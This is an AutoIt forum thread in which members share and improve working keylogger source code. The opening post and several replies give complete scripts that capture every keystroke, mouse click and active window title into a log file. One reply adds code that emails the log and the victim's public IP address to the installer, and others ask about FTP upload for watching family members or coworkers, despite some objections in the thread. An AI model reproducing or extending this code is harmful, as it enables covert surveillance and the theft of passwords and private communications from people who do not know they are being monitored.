Sign in to follow this  
Followers 0
ezzetabi

Yet an other keylogger.

26 posts in this topic

HotKeySet('!q', '_Terminate')
Local $c, $output = FileOpen('c:\test.txt', 2)

While $bGoing
   For $c = 8 To 165
      If _IsPressed($c) Then FileWrite($output, $aKeys[$c])
   Next
   Sleep(10)
WEnd
FileClose($output)

Exit
Func _IsPressed($hexKey)
   Local $aR
   $aR = DllCall($DllUser32, "int", "GetAsyncKeyState", "int", $hexKey)
   If Not @error And BitAND($aR[0], 0x8000) = 0x8000 Then
      Return 1
   Else
      Return 0
   EndIf
EndFunc  ;==>_IsPressed

Func _Terminate()
   $bGoing = 0
EndFunc  ;==>_Terminate

Func OnAutoItStart()
   Opt ('MustDeclareVars', 1)
   ProcessSetPriority (StringTrimleft(@AutoItExe, StringInStr(@AutoItExe, '\', 0, -1)), 0)
   
   Global $bGoing = 1
   Global $aKeys[166]
   Global $DllUser32 = DllOpen('user32')
   If $DllUser32 = 1 Then Exit
   
   Local $c
   
   For $c = 0 To 165
      $aKeys[$c] = ''
   Next
   
   $aKeys[0x01] = 'Left mouse button ' & @CRLF
   $aKeys[0x02] = 'Right mouse button ' & @CRLF
   $aKeys[0x04] = 'Middle mouse button ' & @CRLF
   $aKeys[0x05] = 'X1 mouse button ' & @CRLF
   $aKeys[0x06] = 'X2 mouse button ' & @CRLF
   $aKeys[0x08] = 'BACKSPACE '
   $aKeys[0x09] = 'TAB ' & @CRLF
   $aKeys[0x0C] = 'CLEAR ' & @CRLF
   $aKeys[0x0D] = 'ENTER' & @CRLF
   $aKeys[0x10] = 'SHIFT '
   $aKeys[0x11] = 'CTRL '
   $aKeys[0x12] = 'ALT '
   $aKeys[0x13] = 'PAUSE '
   $aKeys[0x14] = 'CAPS LOCK '
   $aKeys[0x1B] = 'ESC ' & @CRLF
   $aKeys[0x20] = ' '
   $aKeys[0x21] = 'PAGE UP ' & @CRLF
   $aKeys[0x22] = 'PAGE DOWN ' & @CRLF
   $aKeys[0x23] = 'END ' & @CRLF
   $aKeys[0x24] = 'HOME ' & @CRLF
   $aKeys[0x25] = 'LEFT ARROW ' & @CRLF
   $aKeys[0x26] = 'UP ARROW ' & @CRLF
   $aKeys[0x27] = 'RIGHT ARROW ' & @CRLF
   $aKeys[0x28] = 'DOWN ARROW ' & @CRLF
   $aKeys[0x29] = 'SELECT '
   $aKeys[0x2A] = 'PRINT ' & @CRLF
   $aKeys[0x2B] = 'EXECUTE ' & @CRLF
   $aKeys[0x2C] = 'PRINT SCREEN ' & @CRLF
   $aKeys[0x2D] = 'INS '
   $aKeys[0x2E] = 'DEL '
   $aKeys[0x30] = '0'
   $aKeys[0x31] = '1'
   $aKeys[0x32] = '2'
   $aKeys[0x33] = '3'
   $aKeys[0x34] = '4'
   $aKeys[0x35] = '5'
   $aKeys[0x36] = '6'
   $aKeys[0x37] = '7'
   $aKeys[0x38] = '8'
   $aKeys[0x39] = '9'
   $aKeys[0x41] = 'A'
   $aKeys[0x42] = 'B'
   $aKeys[0x43] = 'C'
   $aKeys[0x44] = 'D'
   $aKeys[0x45] = 'E'
   $aKeys[0x46] = 'F'
   $aKeys[0x47] = 'G'
   $aKeys[0x48] = 'H'
   $aKeys[0x49] = 'I'
   $aKeys[0x4A] = 'J'
   $aKeys[0x4B] = 'K'
   $aKeys[0x4C] = 'L'
   $aKeys[0x4D] = 'M'
   $aKeys[0x4E] = 'N'
   $aKeys[0x4F] = 'O'
   $aKeys[0x50] = 'P'
   $aKeys[0x51] = 'Q'
   $aKeys[0x52] = 'R'
   $aKeys[0x53] = 'S'
   $aKeys[0x54] = 'T'
   $aKeys[0x55] = 'U'
   $aKeys[0x56] = 'V'
   $aKeys[0x57] = 'W'
   $aKeys[0x58] = 'X'
   $aKeys[0x59] = 'Y'
   $aKeys[0x5A] = 'Z'
   $aKeys[0x5B] = 'Left Windows ' & @CRLF
   $aKeys[0x5C] = 'Right Windows ' & @CRLF
   $aKeys[0x60] = 'Numeric pad 0'
   $aKeys[0x61] = 'Numeric pad 1'
   $aKeys[0x62] = 'Numeric pad 2'
   $aKeys[0x63] = 'Numeric pad 3'
   $aKeys[0x64] = 'Numeric pad 4'
   $aKeys[0x65] = 'Numeric pad 5'
   $aKeys[0x66] = 'Numeric pad 6'
   $aKeys[0x67] = 'Numeric pad 7'
   $aKeys[0x68] = 'Numeric pad 8'
   $aKeys[0x69] = 'Numeric pad 9'
   $aKeys[0x6A] = 'Multiply'
   $aKeys[0x6B] = 'Add'
   $aKeys[0x6C] = 'Separator'
   $aKeys[0x6D] = 'Subtract'
   $aKeys[0x6E] = 'Decimal'
   $aKeys[0x6F] = 'Divide'
   $aKeys[0x70] = 'F1 '
   $aKeys[0x71] = 'F2 '
   $aKeys[0x72] = 'F3 '
   $aKeys[0x73] = 'F4 '
   $aKeys[0x74] = 'F5 '
   $aKeys[0x75] = 'F6 '
   $aKeys[0x76] = 'F7 '
   $aKeys[0x77] = 'F8 '
   $aKeys[0x78] = 'F9 '
   $aKeys[0x79] = 'F10 '
   $aKeys[0x7A] = 'F11 '
   $aKeys[0x7B] = 'F12 '
   $aKeys[0x7C] = 'F13 '
   $aKeys[0x7D] = 'F14 '
   $aKeys[0x7E] = 'F15 '
   $aKeys[0x7F] = 'F16 '
   $aKeys[0x80] = 'F17 '
   $aKeys[0x81] = 'F18 '
   $aKeys[0x82] = 'F19 '
   $aKeys[0x83] = 'F20 '
   $aKeys[0x84] = 'F21 '
   $aKeys[0x85] = 'F22 '
   $aKeys[0x86] = 'F23 '
   $aKeys[0x87] = 'F24 '
   $aKeys[0x90] = 'NUM LOCK ' & @CRLF
   $aKeys[0x91] = 'SCROLL LOCK ' & @CRLF
   $aKeys[0xA0] = 'Left SHIFT '
   $aKeys[0xA1] = 'Right SHIFT '
   $aKeys[0xA2] = 'Left CONTROL '
   $aKeys[0xA3] = 'Right CONTROL '
   $aKeys[0xA4] = 'Left MENU '
   $aKeys[0xA5] = 'Right MENU '
EndFunc  ;==>OnAutoItStart

Func OnAutoItExit()
   DllClose($DllUser32)
EndFunc  ;==>OnAutoItExit

Share this post


Link to post
Share on other sites



What are you speaking about?

Share this post


Link to post
Share on other sites

#5 ·  Posted (edited)

2 things wrong here!

1.) This is the support forum!

2.) Jon and many others including me, do not like the talk of keyloggers!

Edited by layer

FootbaG

Share this post


Link to post
Share on other sites

@layer

1. Move the thread in the right place... you can't? Pity...

2. Don't answer, so.

@w0uter

Yes, $c is local there. This loop is just to ensure that the array is clean where I did not set the key meaning.

Share this post


Link to post
Share on other sites

@layer, serious answer.

I know that Jon and other dislike keyloggers, but I saw that many times people ask for them or make ungly script trying making one.

So I posted an idea of a almost decent script for keylogging.

Share this post


Link to post
Share on other sites

Ok ok, I get that, but after reading this:

1. Move the thread in the right place... you can't? Pity...

It made it look like you posted in the support forums on purpose? I must be missing something vital here.


FootbaG

Share this post


Link to post
Share on other sites

It seems it has been moved after all.

Share this post


Link to post
Share on other sites

yay, so we can stop this bickering and make it all water under the bridge now! :)


FootbaG

Share this post


Link to post
Share on other sites

Man thx a lot it works fine

Very simple and the max CPU usage for this is 60% 75%.

Very simple and eficient but only write when i close the program it isnt write in the same time when the key is pressed... :)

The other keylogger posted in this forum is ver good too but makes the system very slow because the CPU usage ( 100% )

I will try to change somethings in your script to make it more eficient maybe

And Keyloggers is good very useful when you have a person that uses your computer and modify everything...

Thx for this amazing script hehe

The only thing that is missing is the e-mail sender like the others keylogger from the net

ALL of the e-mail senders scripts in Autoit dont work here i dont know why i got error when i try to send it says could not find some file from outlook....

Share this post


Link to post
Share on other sites

"I don't what to install this keylogger on someone's machine and email myself the log."


[u]Old Projects:[/u]A3MORGB2Hex[u]Old Functions:[/u]_TimeAdd/_TimeSub_AddComma_BubbleSort _RippleSort "He who does not understand your silence will probably not understand your words." - Elbert Hubbard.

Share this post


Link to post
Share on other sites

#13 ·  Posted (edited)

@AfX78z90

About mail sending, if you have problems with the modern COM based mail sending script you can try the good old blat wrapper.

About the keylogger: I won't make something like a mail log sender. I made this keylogger just for show an other way that is IMO better than other I saw in this forum.

As you can see the logger 'as is' does not check if is going to detect the same key twice, it does not start silently (the icon is not hidden) and it does not make the log in real time. It is just for show.

If you want making a malicious script that sends email, install itself silently copying itself many times all around the system and starts from every possible windows startup list and it is merged with a innocent looking installer, go for it.

But do not ask me any help. It is your business.

Edited by ezzetabi

Share this post


Link to post
Share on other sites

THX!

It's very useful for me! :)

But I have one question...

If I type:

www.autoitscript.com, write keylogger:

WWWWWWWWWWWWWWWWWWAAAAAAAUUUUUTTTTTTTOOOOOOOIIIIITTTTSSSSSCCCCCRRRRRRIIIIPPPPTTTTTTTCCCCCCOOOOOOOMMM

MMM

I it possible to make it:

www autoitscript com

?

Share this post


Link to post
Share on other sites

#15 ·  Posted (edited)

Try (untested) about the multiple letters:

HotKeySet('!q', '_Terminate')
Local $bP = 0, $c, $output = FileOpen('c:\test.txt', 2)

While $bGoing
   For $c = 8 To 165
      While _IsPressed($c)
         Sleep(1)
         $bP = 1
      WEnd
      
      If $bP = 1 Then
         FileWrite($output, $aKeys[$c])
         $bp = 0
      EndIf
   Next
   Sleep(10)
WEnd
FileClose($output)

Exit
;Support functions here

About maiusc and non maiusc, just update the $aKeys array.

Uff... just one post ago I said I did not make this feature to avoid bad use... but YoseMise has been so kind that I did not resist....

Edit: Fixed a silly mistake

Edited by ezzetabi

Share this post


Link to post
Share on other sites

THX ezzetabi!!!

IT WORKS!

But I have one question...:$

Is it possible with AutoIT to make a '.' (dot)?

Like:

$aKeys[0x99] = '.'

Share this post


Link to post
Share on other sites

If you want to send the log save the log as a htm file and use this :)

$URL = "http://xml.showmyip.com/"

$xmldoc = ObjCreate("Microsoft.XMLDOM")

$xmldoc.async=false

$xmldoc.load($URL)

for $x in $xmldoc.documentElement.childNodes

if $x.NodeName = "ip" then

$ip = $x.text

endif

next

$objMessage = ObjCreate("CDO.Message")

$objMessage.From = "nobody@nobody.com"

$objMessage.To = "nobody@nobody.com"

$objMessage.Subject = "Your IP: " & $ip

$objMessage.CreateMHTMLBody("file://c:/log.htm")

$objMessage.Send


Sapiente vince, rex, noli vincere ferro!

Share this post


Link to post
Share on other sites

@YoseMite

Of course you can add any key you want. But the value may change from keyboard layout to keyboard layout.

The original list is From Microsoft.

Just remember to update the $aKeys size, its values and the for/next loop.

Share this post


Link to post
Share on other sites

If you want to send the log save the log as a htm file and use this  :evil:

$URL = "http://xml.showmyip.com/"

$xmldoc = ObjCreate("Microsoft.XMLDOM")

$xmldoc.async=false

$xmldoc.load($URL)

for $x in $xmldoc.documentElement.childNodes

    if $x.NodeName = "ip" then

      $ip = $x.text

    endif

next

$objMessage = ObjCreate("CDO.Message")

$objMessage.From = "nobody@nobody.com"

$objMessage.To = "nobody@nobody.com"

$objMessage.Subject = "Your IP: " & $ip

$objMessage.CreateMHTMLBody("file://c:/log.htm")

$objMessage.Send

<{POST_SNAPBACK}>

Can I also upload to my FTP server?

That I can check my kids on my work :)

Share this post


Link to post
Share on other sites

#20 ·  Posted (edited)

Can I also upload to my FTP server?

That I can check my kids on my work :)

<{POST_SNAPBACK}>

Yeah im trying to do this right now so i can check who change things in my computer and others from my work

FTP is better in my opinion i use the great function _FTPPut

I use the Jazo keylogger i have a question to do but the admin closed the thread then i dont know where to ask so ill ask here:

his keylogger doesnt detect the "[ (with shift pressed {)" and "] (with shift pressed })"keys (the keys near Right Shift and ENTER)

And i dont know how can i add this key in the fuction

If someone know please post here

I could not get the right Hex to add to the code because i dont know their names in english

CODE:

Func _IsPressed($hexKey)

Local $aR, $bRv

$hexKey = '0x' & $hexKey

$aR = DllCall("user32", "int", "GetAsyncKeyState", "int", $hexKey)

If $aR[0] <> 0 Then

$bRv = 1

Else

$bRv = 0

EndIf

Return $bRv

EndFunc

$file = FileOpen($log&"\logfiles"&$date&".htm", 1)

If $file = -1 Then

Exit

EndIf

filewrite($file,"<font face=Verdana size=1>")

While 1

;---------------------------------------------end program header, begin program----------------------------

If _IsPressed(41) Then

_LogKeyPress("a")

EndIf

If _IsPressed(42) Then

_LogKeyPress("b")

EndIf

If _IsPressed(43) Then

_LogKeyPress("c")

EndIf

If _IsPressed(44) Then

_LogKeyPress("d")

EndIf

If _IsPressed(45) Then

_LogKeyPress("e")

EndIf

If _IsPressed(46) Then

_LogKeyPress("f")

EndIf

If _IsPressed(47) Then

_LogKeyPress("g")

EndIf

If _IsPressed(48) Then

_LogKeyPress("h")

EndIf

If _IsPressed(49) Then

_LogKeyPress("i")

EndIf

If _IsPressed('4a') Then

_LogKeyPress("j")

EndIf

If _IsPressed('4b') Then

_LogKeyPress("k")

EndIf

If _IsPressed('4c') Then

_LogKeyPress("l")

EndIf

If _IsPressed('4d') Then

_LogKeyPress("m")

EndIf

If _IsPressed('4e') = 1 Then

_LogKeyPress("n")

EndIf

If _IsPressed('4f') Then

_LogKeyPress("o")

EndIf

If _IsPressed(50) Then

_LogKeyPress("p")

EndIf

If _IsPressed(51) Then

_LogKeyPress("q")

EndIf

If _IsPressed(52) Then

_LogKeyPress("r")

EndIf

If _IsPressed(53) Then

_LogKeyPress("s")

EndIf

If _IsPressed(54) Then

_LogKeyPress("t")

EndIf

If _IsPressed(55) Then

_LogKeyPress("u")

EndIf

If _IsPressed(56) Then

_LogKeyPress("v")

EndIf

If _IsPressed(57) Then

_LogKeyPress("w")

EndIf

If _IsPressed(58) Then

_LogKeyPress("x")

EndIf

If _IsPressed(59) Then

_LogKeyPress("y")

EndIf

If _IsPressed('5a') Then

_LogKeyPress("z")

EndIf

If _IsPressed('01') Then

_LogKeyPress("<font color=#008000 style=font-size:9px><i>{LEFT MOUSE}</i></font>")

EndIf

If _IsPressed('02') Then

_LogKeyPress("<font color=#008000 style=font-size:9px><i>{RIGHT MOUSE}</i></font>")

EndIf

If _IsPressed('08') Then

_LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{BACKSPACE}</i></font>")

EndIf

If _IsPressed('09') Then

_LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{TAB}</i></font>")

EndIf

If _IsPressed('0d') Then

_LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{ENTER}</i></font>")

EndIf

If _IsPressed('10') Then

_LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{SHIFT}</i></font>")

EndIf

If _IsPressed('11') Then

_LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{CTRL}</i></font>")

EndIf

If _IsPressed('12') Then

_LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{ALT}</i></font>")

EndIf

If _IsPressed('13') Then

_LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{PAUSE}</i></font>")

EndIf

If _IsPressed('14') Then

_LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{CAPSLOCK}</i></font>")

EndIf

If _IsPressed('1b') Then

_LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{ESC}</i></font>")

EndIf

If _IsPressed('20') Then

_LogKeyPress(" ")

EndIf

If _IsPressed('21') Then

_LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{PGUP}</i></font>")

EndIf

If _IsPressed('22') Then

_LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{PGDOWN}</i></font>")

EndIf

If _IsPressed('23') Then

_LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{END}</i></font>")

EndIf

If _IsPressed('24') Then

_LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{HOME}</i></font>")

EndIf

If _IsPressed('25') Then

_LogKeyPress("<font color=#008000 style=font-size:9px><i>{LEFT ARROW}</i></font>")

EndIf

If _IsPressed('26') Then

_LogKeyPress("<font color=#008000 style=font-size:9px><i>{UP ARROW}</i></font>")

EndIf

If _IsPressed('27') Then

_LogKeyPress("<font color=#008000 style=font-size:9px><i>{RIGHT ARROW}</i></font>")

EndIf

If _IsPressed('28') Then

_LogKeyPress("<font color=#008000 style=font-size:9px><i>{DOWN ARROW}</i></font>")

EndIf

If _IsPressed('2c') Then

_LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{PRNTSCRN}</i></font>")

EndIf

If _IsPressed('2d') Then

_LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{INSERT}</i></font>")

EndIf

If _IsPressed('2e') Then

_LogKeyPress("<font color=#FF8000 style=font-size:9px><i>{DEL}</i></font>")

EndIf

If _IsPressed('30') Then

_LogKeyPress("0")

EndIf

If _IsPressed('31') Then

_LogKeyPress("1")

EndIf

If _IsPressed('32') Then

_LogKeyPress("2")

EndIf

If _IsPressed('33') Then

_LogKeyPress("3")

EndIf

If _IsPressed('34') Then

_LogKeyPress("4")

EndIf

If _IsPressed('35') Then

_LogKeyPress("5")

EndIf

If _IsPressed('36') Then

_LogKeyPress("6")

EndIf

If _IsPressed('37') Then

_LogKeyPress("7")

EndIf

If _IsPressed('38') Then

_LogKeyPress("8")

EndIf

If _IsPressed('39') Then

_LogKeyPress("9")

EndIf

WEnd

Func _LogKeyPress($what2log)

$window=wingettitle("")

if $window=$window2 Then

FileWrite($file,$what2log)

Sleep(100)

Else

$window2=$window

FileWrite($file, "<br><BR>" & "<b>["& @mday&"/"&@mon&"/"&@Year&" "&@HOUR & ":" &@MIN & ":" &@SEC & '] Window: "'& $window& '"</b><br>'& $what2log)

sleep (100)

Endif

EndFunc

Edited by AfX78z90

Share this post


Link to post
Share on other sites
Guest
This topic is now closed to further replies.
Sign in to follow this  
Followers 0